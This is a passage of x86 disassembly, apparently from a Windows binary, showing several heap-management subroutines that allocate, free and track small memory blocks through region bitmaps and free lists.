sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p ; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD378 mov edx, dword_4DD37C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD370 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD370, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD374 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD36C jnz short loc_41ED67 and dword_4DD374, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD378 mov ecx, dword_4DD368 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD37C push edi push dword_4DD384 nop call near ptr 2840000h cmp eax, edi jz short loc_41EE07 add dword_4DD368, 10h mov dword_4DD37C, eax mov eax, dword_4DD378 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD37C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD384 lea esi, [ecx+eax*4] call near ptr 27C0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi nop call near ptr 2660559h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD384 call near ptr 27B0000h nop loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD378 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2660559h test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 nop call near ptr 27C0000h mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi call near ptr 26606FEh nop loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 nop call near ptr 27B0000h loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 26606FEh nop cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 nop call near ptr 27B0000h pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 26606FEh test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, 